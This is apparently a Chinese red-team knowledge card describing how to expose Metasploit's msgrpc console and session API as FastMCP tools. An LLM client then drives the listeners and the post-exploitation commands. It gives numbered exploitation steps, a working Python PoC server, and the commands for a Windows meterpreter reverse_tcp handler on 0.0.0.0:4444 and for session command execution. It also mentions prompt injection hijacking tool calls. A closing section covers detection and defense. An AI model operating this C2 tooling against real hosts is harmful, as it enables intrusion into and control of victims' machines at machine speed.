♧ Godown 安全知识树

MCP 封装 Metasploit msgrpc:FastMCP 工具复用 console cid 并由 LLM 驱动监听器与 session 命令

pentest/c2 · verified

一句话结论

把 Metasploit 的 msgrpc RPC(经 pymetasploit3)控制台与会话 API 注册成 FastMCP 工具后,LLM 客户端(如 Cline)可以按自然语言创建 handler 监听器、逐条设置模块参数并进入已有 session 执行命令;能否稳定工作的关键是多次调用间复用同一个 console 的 cid,否则每次调用新建并销毁 console 会丢失模块状态。

原理

  • msfconsole 加载 msgrpc 插件后,在 127.0.0.1:55552 暴露 MessagePack RPC(默认用户 msf、密码由 Pass= 指定)。pymetasploit3.msfrpc.MsfRpcClient 把 RPC 封装为 client.consoles、client.sessions、client.modules 等对象。
  • MSF 的 console 是有状态的:use exploit/multi/handler、set PAYLOAD、set LHOST、set LPORT、run -j 必须落在同一个 console 上下文中才会生效。每调用一次 client.consoles.console() 都会创建一个新 console;若在函数末尾立即 destroy(),下一次调用看到的又是全新环境,之前的 use/set 全部丢失。
  • 典型表现为:AI 依次调用工具并显示“监听器已启动”,但之后在另一个新 console 里执行 jobs 返回 No active jobs;实际上监听作业已经由原 console 的 run -j 启动,只是查询它的 console 不是同一个。把 cid 作为工具参数在多次调用间传递,并在任务结束时才销毁,即可保持一致状态。
  • FastMCP 的 @mcp.tool() 把 Python 函数及其 docstring 注册为 MCP 工具;LLM 客户端读取工具名、说明、参数和返回类型来决定调用哪个工具、填什么参数。因此 docstring 必须写清调用顺序(先生成 cid,再复用 cid 执行,最后销毁)以及返回值含义,否则模型会按错误的粒度拆分任务。
  • console 与会话是两套对象:session 建立后,client.sessions.list 给出 session id 列表,client.sessions.session(id) 返回可 write()/read() 的 shell 或 meterpreter 会话对象。若在 console 内执行 sessions -i <id>,提示符会从 msf6 > 变成 meterpreter >,此时继续用 console 写命令可能不按预期执行(原文的 getsystem 尝试即失败);后渗透命令应通过 session 对象单独封装。
  • 该模式之所以成立,是因为模型不需要记住 MSF 命令语法:它把“创建监听器”这类目标拆成工具调用序列,并利用工具返回的 cid、命令输出和 session 列表作为下一步决策的上下文;人工 Approve 是高风险调用的最后一道闸门。

触发条件

  • 授权红队/渗透测试环境,Kali 或同类主机已安装 Metasploit,并在 msfconsole 中执行 load msgrpc Pass=<密码> 启动 RPC;RPC 默认只监听 127.0.0.1:55552。
  • Python 环境具备 mcp(FastMCP)与 pymetasploit3 依赖,MCP 客户端支持 stdio 方式启动本地 MCP server 并能展示工具调用审批(Cline、Claude Desktop、Cherry Studio 等)。
  • 目标主机可从 MSF 所在主机访问;若要测试 session 管理,需要已有一个活跃的 meterpreter/shell session。
  • 操作者接受 LLM 自主选择工具,同时保留人工 Approve;若关闭自动审批,模型误调用会直接影响 MSF 控制面。

利用步骤

  1. 在 MSF 主机启动 RPC:msfconsole 内执行 load msgrpc Pass=123,确认输出 MSGRPC Service: 127.0.0.1:55552。
  2. 编写 FastMCP server,至少暴露以下工具: - generate_console_bycid():创建 console 并返回 cid; - run_command_oneline(cmd, cid):在指定 console 写入一条命令、等待空闲并返回输出,不销毁 console; - run_command(cmd):一次性执行并在结束时销毁 console; - destroy_console_bycid(cid):任务结束时销毁 console; - list_all_shell()、get_a_shell(index)、write_to_shell(cmd)、stop_shell():独立管理已有 session。
  3. 在 MCP 客户端配置 stdio 启动方式(如 cline_mcp_settings.json 中 command 指向 uv,args 为 --directory <项目目录> run main.py)。
  4. 用自然语言下达目标,例如“生成一个 64 位 Windows 的 meterpreter 反向监听器,stageless,监听 0.0.0.0:4444,是 msfconsole 监听而不是 payload”。
  5. 模型按工具说明先调用 generate_console_bycid 取得 cid,再在同一 cid 上依次执行 use exploit/multi/handler、set PAYLOAD windows/x64/meterpreter_reverse_tcp、set LHOST 0.0.0.0、set LPORT 4444、set ExitOnSession false、run -j;每条命令返回的提示符与输出可用于确认参数已设置。
  6. 在同一个 cid(或新 console)执行 jobs 验证作业存在,确认 Exploit: multi/handler 与监听地址;任务完成后调用 destroy_console_bycid(cid) 清理 console,监听作业仍在后台运行。
  7. 后渗透阶段:list_all_shell 列出 session id,get_a_shell(index) 选中目标 session,write_to_shell("sysinfo") 执行命令并读取结果,最后 stop_shell() 结束会话交互。

PoC

最小 FastMCP 封装(原文服务的精简结构,未执行):

from pymetasploit3.msfrpc import MsfRpcClient
from mcp.server.fastmcp import FastMCP

mcp = FastMCP("Mytest")
client = MsfRpcClient("123", port=55552)

@mcp.tool()
def generate_console_bycid() -> str:
    """创建 MSF console 并返回 cid;调用任何 run_command_oneline 前必须先调用本函数。"""
    return client.consoles.console().cid

@mcp.tool()
def run_command_oneline(cmd: str, cid: str) -> str:
    """在指定 cid 的 console 中执行一条命令并返回输出;同一次任务内复用同一个 cid。"""
    con = client.consoles.console(cid)
    con.write(cmd)
    while con.is_busy():
        pass
    return con.read()

@mcp.tool()
def destroy_console_bycid(cid: str) -> str:
    """任务完成后销毁 console;后台 job 不会因此停止。"""
    client.consoles.console(cid).destroy()
    return "ok"

@mcp.tool()
def list_all_shell() -> list:
    """返回当前所有活跃 session 的 id 列表。"""
    return list(client.sessions.list.keys())

@mcp.tool()
def get_a_shell(index: int) -> bool:
    """按索引选中 session,供 write_to_shell 使用。"""
    global shell
    sid = list(client.sessions.list.keys())[index]
    shell = client.sessions.session(sid)
    return True

@mcp.tool()
def write_to_shell(cmd: str) -> str:
    """在当前选中的 session 中执行命令并返回输出;不支持 bg。"""
    shell.write(cmd)
    return shell.read()

if __name__ == "__main__":
    mcp.run(transport="stdio")

启动 RPC:

msf6 > load msgrpc Pass=123
[*] MSGRPC Service:  127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: 123

原文验证情况:按上述方式创建监听器后,jobs 能看到 Exploit: multi/handler 与 windows/x64/meterpreter_reverse_tcp;对已有 session 调用 sysinfo 返回了目标主机名与 Administrator 用户名。原文未对真实目标完成 exploit,getsystem 提权尝试失败,因此本卡把该集成定位为可复用的控制面封装,而非完整攻击链。

变体与关联

  • 客户端变体:Cline、Claude Desktop、Cherry Studio 等只要支持 MCP stdio 的客户端都可复用;也可用 OpenAI Function Calling、LangChain Tool 等替代 MCP 协议。
  • 服务端变体:直接调用 Metasploit RPC、封装 client.modules.use() 做 exploit/payload 管理、把 session 操作拆成独立工具;原文展望了模块与 payload 的独立管理。
  • 关联卡片:pentest-c2-mcp-c2-llm-orchestration(通用的 MCP 化 C2 与 LLM 编排,本卡是其 Metasploit/msgrpc 具体实现)、tools-metasploit-cmdstager-flavor-no-downloader(MSF payload/传输选择);MCP 安全侧可关联 ai-security-mcp-security-tool-description-poisoning-param-smuggling、ai-security-prompt-injection-tool-call-hijack 等,但本卡描述的是红队工具集成,不是 MCP 服务端漏洞。
  • 风险变体:MCP server 若从 stdio 改为网络监听且缺少认证,等价于把 MSF RPC 控制面暴露给任意客户端;LLM 若被提示注入,可能在人工审批前构造危险命令;关闭 Approve 或放宽工具白名单会放大误操作。

检测与防御

  • 控制面最小化:MCP server 仅以 stdio 本地方式运行,不暴露 TCP 端口;MSF RPC 保持默认 127.0.0.1 绑定并设置强密码,禁止 0.0.0.0。
  • 权限与审批:按任务暴露最少工具;创建监听器、进入 session、执行命令等高风险调用保留人工 Approve;不要把“AI 能调用”等同于“应允许调用”。
  • 工具描述即策略:在 docstring 中明确前置条件(先 generate_console_bycid)、参数含义、返回值与禁止事项(如 session 中不支持 bg),减少模型误用;同时把外部命令输出当作数据而非指令,防止提示注入劫持后续工具调用。
  • 审计与检测:记录每次 MCP 工具调用的用户、参数、返回、审批结果,以及 MSF RPC 的 console/session 操作日志;监控异常高频的 handler 创建、run -j、session 交互与跨目标命令执行。
  • 目标侧检测:MSF handler 的默认流量特征、meterpreter 回连与进程行为仍按常规 C2 检测;MCP 层本身不改变网络侧特征,但会显著提高操作速度与并发度。